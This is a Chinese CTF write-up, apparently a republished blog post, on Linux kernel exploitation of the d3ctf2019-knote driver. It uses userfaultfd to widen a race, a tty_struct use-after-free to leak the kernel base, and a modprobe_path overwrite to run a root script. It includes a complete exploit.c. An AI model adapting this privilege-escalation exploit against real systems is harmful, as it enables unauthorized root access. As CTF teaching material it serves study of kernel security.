linux kernel pwn学习之条件竞争(二)userfaultfd

2024-02-20 01:30
文章标签 linux 条件 学习 userfaultfd 竞争 kernel pwn

本文主要是介绍linux kernel pwn学习之条件竞争(二)userfaultfd，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

userfaultfd、mobprobe_path、mod_tree的利用

userfaultfd是linux下的一直缺页处理机制，用户可以自定义函数来处理这种事件。所谓的缺页，就是所访问的页面还没有装入RAM中。比如mmap创建的堆，它实际上还没有装载到内存中，系统有自己默认的机制来处理，用户也可以自定义处理函数，在处理函数没有结束之前，缺页发生的位置将处于暂停状态。这将非常有助于条件竞争的利用。

举个栗子

假如在内核里有这样一段代码

  1. if (ptr) {  
  2.    ...  
  3.    copy_from_user(ptr,user_buf,len);  
  4.    ...  
  5. }  

如果，我们的user_buf是一块mmap映射的，并且未初始化的区域，此时就会触发缺页错误，copy_from_user将暂停执行，在暂停的这段时间内，我们开另一个线程，将ptr释放掉，再把其他结构申请到这里（比如tty_struct），然后当缺页处理结束后，copy_from_user恢复执行，然而ptr此时指向的是tty_struct结构，那么就能对tty_struct结构进行修改了。虽然说，不用缺页处理，也能造成条件竞争，但是几率比较小。而利用了缺页处理，几率将增加很大很大。

大概就是这个道理，我们来看看，如何注册userfaultfd吧，话不多说，这是模板，更详细的可以自行去看看文档。

  1. //注册一个userfaultfd来处理缺页错误  
  2. void registerUserfault(void *fault_page,void *handler)  
  3. {  
  4.    pthread_t thr;  
  5.    struct uffdio_api ua;  
  6.    struct uffdio_register ur;  
  7.    uint64_t uffd  = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);  
  8.    ua.api = UFFD_API;  
  9.    ua.features    = 0;  
  10.    if (ioctl(uffd, UFFDIO_API, &ua) == -1)  
  11.       errExit("[-] ioctl-UFFDIO_API");  
  12.   
  13.    ur.range.start = (unsigned long)fault_page; //我们要监视的区域  
  14.    ur.range.len   = PAGE_SIZE;  
  15.    ur.mode        = UFFDIO_REGISTER_MODE_MISSING;  
  16.    if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) //注册缺页错误处理，当发生缺页时，程序会阻塞，此时，我们在另一个线程里操作  
  17.       errExit("[-] ioctl-UFFDIO_REGISTER");  
  18.    //开一个线程，接收错误的信号，然后处理  
  19.    int s = pthread_create(&thr, NULL,handler, (void*)uffd);  
  20.    if (s!=0)  
  21.       errExit("[-] pthread_create");  
  22. }  

为了更好的理解，我们以d3ctf2019-knote为例

d3ctf2019-knote

首先，查看一下启动脚本

  1. #!/bin/sh  
  2. qemu-system-x86_64 \  
  3. -m 128M \  
  4. -kernel ./bzImage \  
  5. -initrd  ./rootfs.img \  
  6. -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr" \  
  7. -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \  
  8. -nographic \  
  9. -monitor /dev/null \  
  10. -smp cores=2,threads=1 \  
  11. -cpu qemu64,+smep,+smap \  

发现开启了smep、smap机制，接下来，我们启动系统，查看一下内核版本

在linux 5以上，似乎很难ret2usr，貌似多了其他的机制，使得单纯修改cr4不起作用，以后慢慢研究。

然后，我们用IDA分析一下note.ko驱动文件

Ioctl定义了经典的增删改查操作

Add操作,有锁保护着，不担心多线程，size不能超过0xFFF

Delete操作，也没啥好说的

Edit操作全程没有加锁

Get操作也是全程没有加锁

那么思路很明显了，使用userfaultfd暂停copy_user_generic_unrolled函数，然后在另一个线程里趁机释放ptr，并把其他结构，比如tty_struct申请到这里，然后恢复copy_user_generic_unrolled的执行，从而达到对指定数据结构的读/写，之前，我在https://blog.csdn.net/seaaseesa/article/details/104591448这篇博客了讲到了可以伪造空闲堆的next指针，实现任意地址处分配，我们就可以利用这个。在linux kernel 5以上，似乎ROP到用户的区域变得困难，那么，我们有了另一个好方法，那就是劫持modprobe_path，modprobe_path执行了一个二进制文件，默认为/bin/ modprobe，当系统执行一个非法二进制文件(不是elf格式，也不是文本)的时候，就会去调用modprobe_path指向的程序。

  1. int __request_module(bool wait, const char *fmt, ...)  
  2. {  
  3.     va_list args;  
  4.     char module_name[MODULE_NAME_LEN];  
  5.     int ret;  
  6.   
  7.     /* 
  8.      * We don't allow synchronous module loading from async.  Module 
  9.      * init may invoke async_synchronize_full() which will end up 
  10.      * waiting for this task which already is waiting for the module 
  11.      * loading to complete, leading to a deadlock. 
  12.      */  
  13.     WARN_ON_ONCE(wait && current_is_async());  
  14.   
  15.     if (!modprobe_path[0])  
  16.         return 0;  
  17.   
  18.     va_start(args, fmt);  
  19.     ret = vsnprintf(module_name, MODULE_NAME_LEN, fmt, args);  
  20.     va_end(args);  
  21.     if (ret >= MODULE_NAME_LEN)  
  22.         return -ENAMETOOLONG;  
  23.   
  24.     ret = security_kernel_module_request(module_name);  
  25.     if (ret)  
  26.         return ret;  
  27.   
  28.     if (atomic_dec_if_positive(&kmod_concurrent_max) < 0) {  
  29.         pr_warn_ratelimited("request_module: kmod_concurrent_max (%u) close to 0 (max_modprobes: %u), for module %s, throttling...",  
  30.                     atomic_read(&kmod_concurrent_max),  
  31.                     MAX_KMOD_CONCURRENT, module_name);  
  32.         ret = wait_event_killable_timeout(kmod_wq,  
  33.                           atomic_dec_if_positive(&kmod_concurrent_max) >= 0,  
  34.                           MAX_KMOD_ALL_BUSY_TIMEOUT * HZ);  
  35.         if (!ret) {  
  36.             pr_warn_ratelimited("request_module: modprobe %s cannot be processed, kmod busy with %d threads for more than %d seconds now",  
  37.                         module_name, MAX_KMOD_CONCURRENT, MAX_KMOD_ALL_BUSY_TIMEOUT);  
  38.             return -ETIME;  
  39.         } else if (ret == -ERESTARTSYS) {  
  40.             pr_warn_ratelimited("request_module: sigkill sent for modprobe %s, giving up", module_name);  
  41.             return ret;  
  42.         }  
  43.     }  
  44.   
  45.     trace_module_request(module_name, wait, _RET_IP_);  
  46.   
  47.     ret = call_modprobe(module_name, wait ? UMH_WAIT_PROC : UMH_WAIT_EXEC);  
  48.   
  49.     atomic_inc(&kmod_concurrent_max);  
  50.     wake_up(&kmod_wq);  
  51.   
  52.     return ret;  
  53. }  

内核调用call_modprobe函数执行mobprobe_path指向的文件，并且call_modprobe函数拥有root权限，我们只需要劫持mobprobe_path，指向我们提权的脚本，然后指向一个非法二进制，就能触发提权脚本的执行。

与mobprobe_path配套的还有mod_tree，这里记录着ko模块的加载地址，因此可以用来泄露模块地址。这两个变量的地址都能在/proc/kallsyms里找到，因此，我们可以得到它们的静态地址。

大概就是这样，直接上exploit.c

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <poll.h>
#include <sys/syscall.h>
#include <sys/mman.h>
//页大小
#define PAGE_SIZE 0x1000
//tty_struct的大小
#define TTY_STRUCT_SIZE 0X2E0
//cat /proc/kallsyms | grep modprobe_path
#define MOD_PROBE 0x145c5c0
//第二次利用时，堆统一的大小
//随便设置,过大过小都不好
#define CHUNK_SIZE 0x100
//modprobe_path的地址
size_t modprobe_path;//驱动的文件描述符
int fd;
//ptmx的文件描述符
int tty_fd;//传给驱动的数据结构
struct Data {union {size_t size; //大小size_t index; //下标};void *buf; //数据
};
void errExit(char *msg) {puts(msg);exit(-1);
}void initFD() {fd = open("/dev/knote",O_RDWR);if (fd < 0) {errExit("device open error!!");}
}
//创建一个节点
void kcreate(size_t size) {struct Data data;data.size = size;data.buf = NULL;ioctl(fd,0x1337,&data);
}
//删除一个节点
void kdelete(size_t index) {struct Data data;data.index = index;ioctl(fd,0x6666,&data);
}
//编辑一个节点
void kedit(size_t index,void *buf) {struct Data data;data.index = index;data.buf = buf;ioctl(fd,0x8888,&data);
}
//显示节点的内容
void kshow(size_t index,void *buf) {struct Data data;data.index = index;data.buf = buf;ioctl(fd,0x2333,&data);
}//注册一个userfaultfd来处理缺页错误
void registerUserfault(void *fault_page,void *handler)
{pthread_t thr;struct uffdio_api ua;struct uffdio_register ur;uint64_t uffd  = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);ua.api = UFFD_API;ua.features    = 0;if (ioctl(uffd, UFFDIO_API, &ua) == -1)errExit("[-] ioctl-UFFDIO_API");ur.range.start = (unsigned long)fault_page; //我们要监视的区域ur.range.len   = PAGE_SIZE;ur.mode        = UFFDIO_REGISTER_MODE_MISSING;if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) //注册缺页错误处理，当发生缺页时，程序会阻塞，此时，我们在另一个线程里操作errExit("[-] ioctl-UFFDIO_REGISTER");//开一个线程，接收错误的信号，然后处理int s = pthread_create(&thr, NULL,handler, (void*)uffd);if (s!=0)errExit("[-] pthread_create");
}//针对laekKernelBase时的缺页处理线程
//这个线程里，我们不需要做什么，仅仅是
//为了拖延阻塞时间，给子进程足够的时间
//来形成一个UAF
void* leak_handler(void *arg)
{struct uffd_msg msg;unsigned long uffd = (unsigned long)arg;puts("[+] leak_handler created");sleep(3); //休眠一下，留给子进程足够时间操作struct pollfd pollfd;int nready;pollfd.fd     = uffd;pollfd.events = POLLIN;//poll会阻塞，直到收到缺页错误的消息nready = poll(&pollfd, 1, -1);if (nready != 1)errExit("[-] Wrong pool return value");nready = read(uffd, &msg, sizeof(msg));if (nready <= 0) {errExit("[-]msg error!!");}char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);if (page == MAP_FAILED)errExit("[-]mmap page error!!");struct uffdio_copy uc;//初始化page页memset(page, 0, sizeof(page));uc.src = (unsigned long)page;//出现缺页的位置uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);;uc.len = PAGE_SIZE;uc.mode = 0;uc.copy = 0;//复制数据到缺页处，并恢复copy_user_generic_unrolled的执行//然而，我们在阻塞的这段时间，堆0的内容已经是tty_struct结构//因此，copy_user_generic_unrolled将会把tty_struct的结构复制给我们用户态ioctl(uffd, UFFDIO_COPY, &uc);puts("[+] leak_handler done!!");return NULL;
}//泄露内核地址
void leakKernelBase() {//创建一个与tty_struct结构大小相同的堆kcreate(TTY_STRUCT_SIZE);//用于接收kshow的内容，由于我们是用mmap映射的一块区域，传入kshow时，导致缺页错误，从而可以进入我们自定义的//处理函数里阻塞char *user_buf = (char*)mmap(NULL,PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);if (user_buf == MAP_FAILED)errExit("[-] mmap user_buf error!!");//注册一个userfaultfd，监视user_buf处的缺页registerUserfault(user_buf,leak_handler);int pid = fork();if (pid < 0) {errExit("[-]fork error!!");} else if (pid == 0) { //子进程sleep(1); //让父进程先执行，进入userfaultfd阻塞，这样子线程可以为所欲为的操作kdelete(0); //删除我们创建的那个堆tty_fd = open("/dev/ptmx",O_RDWR); //这一步的作用是让tty_struct的结构申请到我们释放后的堆里，再用UAF就能泄露信息exit(0); //退出子进程} else {//父进程触发缺页错误，从而进入handle函数，阻塞，给子进程足够的操作时间kshow(0,user_buf);//现在，user_buf里存储着tty_struct结构，我们读出来，可以得到很多数据size_t *data = (size_t *)user_buf;if (data[7] == 0) { //没有数据，说明失败了munmap(user_buf, PAGE_SIZE);close(tty_fd);errExit("[-]leak data error!!");}close(tty_fd); //关闭ptmx设备,释放占用的空间//得到某函数的地址size_t x_fun_addr = data[0x56];//计算出内核基址size_t kernel_base = x_fun_addr - 0x5d4ef0;//当内核运行未知的二进制文件时，会调用modprobe_path指向的可执行文件//因此，我们的目的是劫持modprobe_path，指向一个shell文件即可modprobe_path = kernel_base + MOD_PROBE;printf("kernel_base=0x%lx\n",kernel_base);printf("modprobe_path=0x%lx\n",modprobe_path);}
}//针对writeHeapFD时的缺页处理线程
//这个线程里，我们要把modprobe_path的地址
//写进去
void* write_handler(void *arg)
{struct uffd_msg msg;unsigned long uffd = (unsigned long)arg;puts("[+] write_handler created");sleep(3); //休眠一下，留给子进程足够时间操作，形成UAFstruct pollfd pollfd;int nready;pollfd.fd     = uffd;pollfd.events = POLLIN;//poll会阻塞，直到收到缺页错误的消息nready = poll(&pollfd, 1, -1);if (nready != 1)errExit("[-] Wrong pool return value");nready = read(uffd, &msg, sizeof(msg));if (nready <= 0) {errExit("[-]msg error!!");}//断言是否是缺页的错误//assert(msg.event == UFFD_EVENT_PAGEFAULT);char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);if (page == MAP_FAILED)errExit("[-]mmap page error!!");struct uffdio_copy uc;//初始化page页memset(page, 0, sizeof(page));//写入modprobe_pathmemcpy(page,&modprobe_path,8);uc.src = (unsigned long)page;//出现缺页的位置uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);;uc.len = PAGE_SIZE;uc.mode = 0;uc.copy = 0;//复制数据到缺页处，并恢复copy_user_generic_unrolled的执行//然而，我们在阻塞的这段时间，堆0被释放掉了，当恢复的时候//是向一个已经释放的堆写数据ioctl(uffd, UFFDIO_COPY, &uc);puts("[+] writek_handler done!!");return NULL;
}//条件竞争改写空闲堆块的next指针,使用与leakKernelBase同样的方法
void writeHeapFD() {kcreate(CHUNK_SIZE); //0//用于接收kedit的内容，由于我们是用mmap映射的一块区域，传入kedit时，导致缺页错误，从而可以进入我们自定义的//处理函数里阻塞char *user_buf = (char*)mmap(NULL,PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);if (user_buf == MAP_FAILED)errExit("[-] mmap user_buf error!!");//注册一个userfaultfd，监视user_buf处的缺页registerUserfault(user_buf,write_handler);int pid = fork();if (pid < 0) {errExit("[-]fork error!!");} else if (pid == 0) { //子进程sleep(1); //让父进程先执行，进入userfaultfd阻塞kdelete(0); //删除堆，形成UAFexit(0);} else {kedit(0,user_buf); //触发缺页错误阻塞//kedit结束后，空闲块的next域已经写上了攻击目标的地址}}char tmp[0x100] = {0};
int main() {//初始化驱动initFD();//条件竞争泄露内核基址leakKernelBase();sleep(2);//将modprobe_path地址写到空闲堆的next指针处writeHeapFD();sleep(2);kcreate(CHUNK_SIZE); //0kcreate(CHUNK_SIZE); //1，分配到目标处strcpy(tmp,"/tmp/shell.sh");kedit(1,tmp); //将modprobe_path指向我们的shell文件//创建一个用于getshelll的脚本system("echo '#!/bin/sh' >> /tmp/shell.sh");system("echo 'chmod 777 /flag' >> /tmp/shell.sh");system("chmod +x /tmp/shell.sh");//创建一个非法的二进制文件，执行，触发shellsystem("echo -e '\\xff\\xff\\xff\\xff' > /tmp/fake");system("chmod +x /tmp/fake");//触发shell执行，修改flag文件普通用户可以读写system("/tmp/fake");system("cat /flag");//结束程序时，会释放堆，但是我们的modprobe_path处不是合法的堆，会释放出错，导致内核崩溃重启sleep(3);return 0;
}

失败了可以多次尝试，最后成功得到flag

这篇关于linux kernel pwn学习之条件竞争(二)userfaultfd的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！


http://www.chinasem.cn/article/726620。

相关文章

嵌入式Linux之使用设备树驱动GPIO的实现方式

嵌入式Linux之使用设备树驱动GPIO的实现方式

《嵌入式Linux之使用设备树驱动GPIO的实现方式》：本文主要介绍嵌入式Linux之使用设备树驱动GPIO的实现方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐... 目录一、设备树配置1.1 添加 pinctrl 节点1.2 添加 LED 设备节点二、编写驱动程序2.1
阅读更多...
嵌入式Linux驱动中的异步通知机制详解

嵌入式Linux驱动中的异步通知机制详解

《嵌入式Linux驱动中的异步通知机制详解》：本文主要介绍嵌入式Linux驱动中的异步通知机制,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录前言一、异步通知的核心概念1. 什么是异步通知2. 异步通知的关键组件二、异步通知的实现原理三、代码示例分析1. 设备结构
阅读更多...
Linux搭建单机MySQL8.0.26版本的操作方法

Linux搭建单机MySQL8.0.26版本的操作方法

《Linux搭建单机MySQL8.0.26版本的操作方法》：本文主要介绍Linux搭建单机MySQL8.0.26版本的操作方法,本文通过图文并茂的形式给大家讲解的非常详细,感兴趣的朋友一起看看吧... 目录概述环境信息数据库服务安装步骤下载前置依赖服务下载方式一：进入官网下载，并上传到宿主机中，适合离线环境
阅读更多...
windows和Linux使用命令行计算文件的MD5值

windows和Linux使用命令行计算文件的MD5值

《windows和Linux使用命令行计算文件的MD5值》在Windows和Linux系统中,您可以使用命令行（终端或命令提示符）来计算文件的MD5值,文章介绍了在Windows和Linux/macO... 目录在Windows上：在linux或MACOS上：总结在Windows上：可以使用certuti
阅读更多...
Linux之systemV共享内存方式

Linux之systemV共享内存方式

《Linux之systemV共享内存方式》：本文主要介绍Linux之systemV共享内存方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、工作原理二、系统调用接口1、申请共享内存（一）key的获取（二）共享内存的申请2、将共享内存段连接到进程地址空间3、将
阅读更多...
快速修复一个Panic的Linux内核的技巧

快速修复一个Panic的Linux内核的技巧

《快速修复一个Panic的Linux内核的技巧》Linux系统中运行了不当的mkinitcpio操作导致内核文件不能正常工作，重启的时候，内核启动中止于Panic状态，该怎么解决这个问题呢？下面我们就... 感谢China编程(www.chinasem.cn)网友 鸢一雨音 的投稿写这篇文章是有原因的。为了配置完
阅读更多...
Java学习手册之Filter和Listener使用方法

Java学习手册之Filter和Listener使用方法

《Java学习手册之Filter和Listener使用方法》：本文主要介绍Java学习手册之Filter和Listener使用方法的相关资料,Filter是一种拦截器,可以在请求到达Servl... 目录一、Filter（过滤器）1. Filter 的工作原理2. Filter 的配置与使用二、Listen
阅读更多...
Java中Switch Case多个条件处理方法举例

Java中Switch Case多个条件处理方法举例

《Java中SwitchCase多个条件处理方法举例》Java中switch语句用于根据变量值执行不同代码块,适用于多个条件的处理,：本文主要介绍Java中SwitchCase多个条件处理的相... 目录前言基本语法处理多个条件示例1：合并相同代码的多个case示例2：通过字符串合并多个case进阶用法使用
阅读更多...
Linux命令之firewalld的用法

Linux命令之firewalld的用法

《Linux命令之firewalld的用法》：本文主要介绍Linux命令之firewalld的用法,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录linux命令之firewalld1、程序包2、启动firewalld3、配置文件4、firewalld规则定义的九大
阅读更多...
Linux之计划任务和调度命令at/cron详解

Linux之计划任务和调度命令at/cron详解

《Linux之计划任务和调度命令at/cron详解》：本文主要介绍Linux之计划任务和调度命令at/cron的使用,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录linux计划任务和调度命令at/cron一、计划任务二、命令{at}介绍三、命令语法及功能 :at
阅读更多...

Copyright China编程 23002807@qq.com

沪ICP备2023033072号-2